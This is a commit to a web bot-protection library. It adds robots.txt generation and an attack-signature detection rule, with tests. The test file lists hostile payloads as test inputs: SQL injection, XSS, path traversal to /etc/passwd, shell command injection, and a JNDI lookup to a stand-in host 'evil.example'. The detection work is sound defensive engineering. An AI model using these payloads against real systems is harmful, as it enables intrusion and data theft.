feat(rules): publish the bot policy you enforce, and see attack payloads

CHANGELOG.md

@@ -9,6 +9,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 
 ### Added
 
+- **`botPolicy()` — one policy, published and enforced.** `BOT_REGISTRY` already carried the customer-facing categories and `bots()` already enforced against it, but nothing published from it, so every site hand-wrote a `robots.txt` that drifted from what the code did. `botPolicy({ deny, allow })` returns both `robotsTxt()` and `rule()`, resolved from the same set — a test asserts across all 169 registry agents that the two cannot diverge. The generated file names the agents in your deny set whose operator does not document honouring robots.txt, so it says which of its own lines are only a request; `policy.unenforceable` is the same list in code. No API key.
+
+- **`attackSignatures()` — a curated attack-payload rule.** Tripwires catch scanners by the path they ask for; nothing looked at what they send. Deliberately not a WAF: a small set of signatures (SQL injection, XSS, traversal, command injection, `${jndi:`) each chosen because it has no innocent reading in a path or query. Inspects path and query by default; bodies and headers are opt-in, and the `Cookie` header is never inspected at all. Every pattern is anchored or literal with no nested quantifiers, and input is truncated at `maxBytes`, so a crafted payload cannot turn the rule into the denial of service it exists to catch. Covered by a 17-case false-positive corpus of ordinary traffic.
+
+- **`RequestMetadata.query` and `.body`.** The adapters now populate `query`, which `attackSignatures()` needs — Express's `req.path` excludes the query string, and that is exactly where injection payloads live. `body` is never populated automatically: buffering a body the application has not already parsed would change its streaming behaviour.
+
 - **Rate-limit counters can be shared.** `RateLimitRule` hard-constructed an in-memory `Map` with no seam to replace it, so on any deployment with more than one process the limit was effectively `max × instances` — and on Vercel or Lambda it reset on every cold start. `rateLimit({ store })` now takes a `RateLimitStore`.
   - `upstashRateLimitStore({ url, token })` ships in the core package. Upstash speaks Redis over HTTP, which is the only shape that works on Vercel Edge, Workers and Deno, where an ordinary client cannot open a socket. It calls the REST API with `fetch` rather than depending on `@upstash/redis`.
   - Fails open by default when Redis is unreachable; `onError: 'closed'` denies instead. Either way the outcome is visible in `decision.results`.

README.md

@@ -112,6 +112,7 @@ const wd = new WebDecoy({
 - **`tripwire({ paths?, prefixes?, patterns?, includeDefaults? })`** — deterministic honeypot-path detection. No key.
 - **`webBotAuth({ onImpersonation?, onClaimed?, allowCategories? })`** — verify AI-agent signatures (Web Bot Auth / RFC 9421) locally; deny impersonators of known agents. No key.
 - **`filter({ expression, action? })`** — an expression language over IP reputation/geo (e.g. `ip.tor`, `ip.country in ["CN", "RU"]`). Requires an API key for enrichment.
+- **`attackSignatures({ inspect?, exclude?, action? })`** — deny requests carrying unambiguous injection payloads. No key. See [attack signatures](#attack-signatures).
 
 ## Verify AI agents (Web Bot Auth)
 
@@ -204,6 +205,67 @@ if (!result.allowed) {
 | [@webdecoy/nextjs](https://www.npmjs.com/package/@webdecoy/nextjs) | [![npm](https://img.shields.io/npm/v/@webdecoy/nextjs.svg)](https://www.npmjs.com/package/@webdecoy/nextjs) | Next.js middleware |
 | [@webdecoy/client](https://www.npmjs.com/package/@webdecoy/client) | [![npm](https://img.shields.io/npm/v/@webdecoy/client.svg)](https://www.npmjs.com/package/@webdecoy/client) | Browser-side signal collector |
 
+## One bot policy, published and enforced
+
+`botPolicy()` produces both the `robots.txt` you publish and the rule that
+enforces it, from one object — so they cannot drift:
+
+```typescript
+import { WebDecoy, botPolicy } from '@webdecoy/node';
+
+const policy = botPolicy({
+  deny: ['training_crawler'],     // or 'ai', a category, or an agent name
+  allow: ['perplexitybot'],
+});
+
+app.get('/robots.txt', (_req, res) => res.type('text/plain').send(policy.robotsTxt()));
+
+const wd = new WebDecoy({ rules: [policy.rule()] });
+```
+
+A `robots.txt` that disallows GPTBot while the middleware lets it through is a
+policy you believe is in force and is not. The reverse — enforcing against a
+crawler the published file invites — is how a site quietly leaves a search index.
+
+`robots.txt` is a request, honoured at the crawler's discretion. The registry
+records whether each operator *documents* honouring it, and the generated file
+names the ones in your deny set that do not:
+
+```
+# These do not document honouring robots.txt, so the lines below are a
+# request only. The bots() rule is what actually stops them:
+#   ByteSpider (ByteDance)
+#   Webz.io (Webz.io)
+```
+
+`policy.unenforceable` is the same list, in code. Requires no API key.
+
+## Attack signatures
+
+Tripwires catch scanners by the path they ask for. `attackSignatures()` looks at
+what they send:
+
+```typescript
+attackSignatures({
+  inspect: ['path', 'query'],  // default; 'body' and 'headers' are opt-in
+  exclude: ['traversal'],      // signature ids
+  dryRun: false,
+});
+```
+
+**This is not a WAF, and should not become one.** A WAF's value is breadth, and
+breadth is bought with false positives. This is a small curated set — SQL
+injection, XSS, traversal, command injection, `${jndi:` — chosen because each has
+no innocent reading in a path or query string. It composes with the deterministic
+signals: a request carrying an injection payload *and* walking into a tripwire is
+much stronger evidence than either alone.
+
+Bodies and headers are off by default, because a CMS saving an article and a URL
+passed as a query parameter both legitimately contain things that look like
+attacks. Turn them on with `dryRun: true` first. The `Cookie` header is never
+inspected at all — session tokens are opaque, and one that trips a signature logs
+a user out for a reason nobody can explain.
+
 ## Rate limits across more than one process
 
 `rateLimit()` counts in this process's memory by default. That is correct for a

packages/express/src/middleware.ts

@@ -256,6 +256,11 @@
         ip: getIP(req),
         user_agent: req.headers['user-agent'],
         headers: req.headers as Record<string, string>,
+        // `req.path` excludes the query, which is where injection payloads
+        // live, so attackSignatures() cannot see them without this.
+        query: req.originalUrl.includes('?')
+          ? req.originalUrl.slice(req.originalUrl.indexOf('?') + 1)
+          : undefined,
         timestamp: Date.now(),
       };
 
@@ -307,13 +312,13 @@
           return intercepting;
         };
 
         (res as any).write = function (chunk: any, ...rest: any[]): boolean {
           if (!shouldIntercept()) return originalWrite(chunk, ...rest);
           if (chunk) chunks.push(Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk));
           return true;
         };
 
         (res as any).end = function (chunk: any, ...rest: any[]): any {
           try {
             if (!shouldIntercept()) return originalEnd(chunk, ...rest);
             if (chunk && typeof chunk !== 'function') {
@@ -342,9 +347,9 @@
       // rules". An earlier draft of this put the check after them and would
       // have shipped exactly the bug it exists to fix.
       if (mode === 'monitor') {
         (req as any).webdecoy = result.detection;
         (req as any).webdecoyEdge = result.edge;
         (req as any).webdecoyWouldBlock = !result.allowed;
         return next();
       }
 

packages/fastify/src/plugin.ts

@@ -272,6 +272,9 @@ async function webdecoyPluginImpl(
         ip: getIP(req),
         user_agent: req.headers['user-agent'],
         headers,
+        // The query is where injection payloads live, and it is not part of
+        // the routed path, so attackSignatures() cannot see it otherwise.
+        query: req.url.includes('?') ? req.url.slice(req.url.indexOf('?') + 1) : undefined,
         timestamp: Date.now(),
       };
 

packages/nextjs/src/middleware.ts

@@ -202,6 +202,9 @@
         ip: getIP(req),
         user_agent: req.headers.get('user-agent') || undefined,
         headers,
+        // The query is where injection payloads live, and it is not part of
+        // the routed path, so attackSignatures() cannot see it otherwise.
+        query: req.nextUrl.search ? req.nextUrl.search.slice(1) : undefined,
         timestamp: Date.now(),
       };
 
@@ -324,7 +327,7 @@
  * });
  * ```
  */
 export function withBotProtection<T extends (...args: any[]) => any>(
   handler: T,
   config: WebDecoyConfig & WithBotProtectionOptions
 ): T {
@@ -350,6 +353,9 @@
         ip,
         user_agent: req.headers['user-agent'],
         headers: req.headers as Record<string, string>,
+        // The query is where injection payloads live, and it is not part of
+        // the routed path, so attackSignatures() cannot see it otherwise.
+        query: req.url?.includes('?') ? req.url.slice(req.url.indexOf('?') + 1) : undefined,
         timestamp: Date.now(),
       };
 
@@ -379,7 +385,7 @@
       }
 
       // Attach detection info to request
       (req as any).webdecoy = result.detection;
     } catch (error) {
       console.error('[WebDecoy] Protection error:', error);
       // Fail open

packages/webdecoy/src/index.ts

@@ -86,6 +86,11 @@ export {
   filter,
   tripwire,
   bots,
+  botPolicy,
+  BotPolicy,
+  attackSignatures,
+  AttackSignatureRule,
+  ATTACK_SIGNATURE_IDS,
   webBotAuth,
   honeytoken,
   RuleEngine,
@@ -113,6 +118,9 @@ export type {
   FilterConfig,
   TripwireConfig,
   BotRuleConfig,
+  BotPolicyOptions,
+  RobotsTxtOptions,
+  AttackSignatureConfig,
   WebBotAuthConfig,
   HoneytokenOptions,
   Honeytoken,

packages/webdecoy/src/rules/attack-signatures.test.ts

@@ -0,0 +1,156 @@
+import { attackSignatures, ATTACK_SIGNATURE_IDS } from './attack-signatures';
+import type { Rule, RuleContext } from './types';
+
+const ctx = (over: Partial<RuleContext> = {}): RuleContext => ({
+  ip: '203.0.113.9',
+  path: '/',
+  method: 'GET',
+  headers: {},
+  timestamp: Date.now(),
+  ...over,
+});
+
+const hit = (rule: Rule, c: Partial<RuleContext>) => rule.evaluate(ctx(c)).action === 'DENY';
+
+describe('attack signatures — true positives', () => {
+  const rule = attackSignatures();
+
+  it.each([
+    ["union select", "?id=1' UNION SELECT password FROM users"],
+    ['tautology', "?id=1' OR 1=1--"],
+    ['quoted tautology', "?u=admin' or 'a'='a"],
+    ['stacked statement', '?id=1; DROP TABLE users'],
+    ['timing function', '?id=1 AND sleep(10)'],
+    ['metadata probe', '?id=1 UNION SELECT * FROM information_schema.tables'],
+    ['script tag', '?q=<script>alert(1)</script>'],
+    ['svg onload', '?q=<svg onload=alert(1)>'],
+    ['event handler', '?q=<img src=x onerror=alert(1)>'],
+    ['traversal', '?file=../../../../etc/passwd'],
+    ['sensitive path', '?file=/etc/passwd'],
+    ['command injection', '?host=127.0.0.1;cat /etc/hosts'],
+    ['subshell', '?x=$(whoami)'],
+    ['jndi', '?x=${jndi:ldap://evil.example/a}'],
+  ])('catches %s', (_label, query) => {
+    expect(hit(rule, { query: query.replace(/^\?/, '') })).toBe(true);
+  });
+
+  it('sees through percent-encoding', () => {
+    expect(hit(rule, { query: 'file=..%2F..%2F..%2F..%2Fetc%2Fpasswd' })).toBe(true);
+    expect(hit(rule, { query: 'q=%3Cscript%3Ealert(1)%3C%2Fscript%3E' })).toBe(true);
+  });
+
+  it('sees through double encoding', () => {
+    expect(hit(rule, { query: 'q=%253Cscript%253Ealert(1)%253C%252Fscript%253E' })).toBe(true);
+  });
+
+  it('inspects the path as well as the query', () => {
+    expect(hit(rule, { path: '/files/../../../../etc/passwd' })).toBe(true);
+  });
+
+  it('names the signature and where it was found', () => {
+    const result = attackSignatures().evaluate(ctx({ query: 'x=${jndi:ldap://e/a}' }));
+    expect(result.metadata).toMatchObject({ signature: 'ssti_jndi', where: 'query' });
+    expect(result.reason).toMatch(/JNDI/);
+  });
+});
+
+describe('attack signatures — ordinary traffic must not trip', () => {
+  const rule = attackSignatures();
+
+  it.each([
+    ['a search phrase using "or"', 'q=coffee or tea'],
+    ['a select in prose', 'q=how to select a mattress'],
+    ['a URL as a parameter', 'next=https://example.com/a/b?x=1&y=2'],
+    ['an email address', 'email=someone%2Btag%40example.com'],
+    ['a base64 token', 't=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.abc-_123'],
+    ['a single relative segment', 'next=../dashboard'],
+    ['a parameter literally named onerror', 'onerror=1&onload=2'],
+    ['a date range', 'from=2026-01-01&to=2026-12-31'],
+    ['a price filter', 'price=10..50'],
+    ['a JSON-ish parameter', 'filter={"status":"active","count":5}'],
+    ['an unclosed percent sign', 'discount=50%&code=SAVE'],
+    ['a UUID', 'id=3f2504e0-4f89-11d3-9a0c-0305e82c3301'],
+  ])('leaves %s alone', (_label, query) => {
+    expect(hit(rule, { query })).toBe(false);
+  });
+
+  it.each([
+    '/',
+    '/api/v1/users/42',
+    '/blog/2026/08/how-to-select-a-good-domain',
+    '/assets/app.a1b2c3.js',
+    '/docs/getting-started#installation',
+  ])('leaves the path %s alone', (path) => {
+    expect(hit(rule, { path })).toBe(false);
+  });
+});
+
+describe('what it refuses to look at by default', () => {
+  it('ignores the body unless asked', () => {
+    const body = '{"content":"<script>alert(1)</script>"}';
+    // A CMS saving an article is not an attack, and this is why body inspection
+    // is the operator's call.
+    expect(hit(attackSignatures(), { body })).toBe(false);
+    expect(hit(attackSignatures({ inspect: ['body'] }), { body })).toBe(true);
+  });
+
+  it('ignores headers unless asked', () => {
+    const headers = { 'x-api-version': '${jndi:ldap://evil/a}' };
+    expect(hit(attackSignatures(), { headers })).toBe(false);
+    expect(hit(attackSignatures({ inspect: ['headers'] }), { headers })).toBe(true);
+  });
+
+  it('never inspects the cookie header, even when headers are on', () => {
+    // Session tokens are opaque and application-defined. One that trips a
+    // signature logs the user out for a reason nobody can explain.
+    const headers = { cookie: 'sid=abc; pref=%3Cscript%3E' };
+    expect(hit(attackSignatures({ inspect: ['headers'] }), { headers })).toBe(false);
+  });
+});
+
+describe('configuration', () => {
+  it('honours dryRun', () => {
+    const result = attackSignatures({ dryRun: true }).evaluate(ctx({ query: 'x=${jndi:a}' }));
+    expect(result.action).toBe('ALLOW');
+    expect(result.metadata?.dryRun).toBe(true);
+  });
+
+  it('honours exclude', () => {
+    const query = 'file=../../../../etc/hosts';
+    expect(hit(attackSignatures(), { query })).toBe(true);
+    expect(hit(attackSignatures({ exclude: ['traversal'] }), { query })).toBe(false);
+  });
+
+  it('can throttle instead of deny', () => {
+    expect(attackSignatures({ action: 'THROTTLE' }).evaluate(ctx({ query: 'x=$(id)' })).action).toBe(
+      'THROTTLE',
+    );
+  });
+
+  it('exposes its signature ids for exclude', () => {
+    expect(ATTACK_SIGNATURE_IDS).toContain('sqli_union');
+    expect(new Set(ATTACK_SIGNATURE_IDS).size).toBe(ATTACK_SIGNATURE_IDS.length);
+  });
+});
+
+describe('cost', () => {
+  it('truncates past maxBytes rather than scanning everything', () => {
+    // The payload sits past the cap, so it is not found — which is the trade
+    // being made, and the reason the cap is configurable.
+    const body = 'a'.repeat(1000) + '${jndi:ldap://evil/a}';
+    expect(hit(attackSignatures({ inspect: ['body'], maxBytes: 500 }), { body })).toBe(false);
+    expect(hit(attackSignatures({ inspect: ['body'], maxBytes: 5000 }), { body })).toBe(true);
+  });
+
+  it('stays fast on a large hostile-looking body', () => {
+    // Every pattern is anchored or literal with no nested quantifiers. A regex
+    // that backtracks catastrophically here would turn this rule into the
+    // denial of service it exists to catch.
+    const rule = attackSignatures({ inspect: ['path', 'query', 'body'] });
+    const body = `${"'or'".repeat(2000)}${'<a '.repeat(2000)}${'../'.repeat(2000)}`;
+    const started = Date.now();
+    for (let i = 0; i < 50; i++) rule.evaluate(ctx({ body }));
+    const perCall = (Date.now() - started) / 50;
+    expect(perCall).toBeLessThan(5);
+  });
+});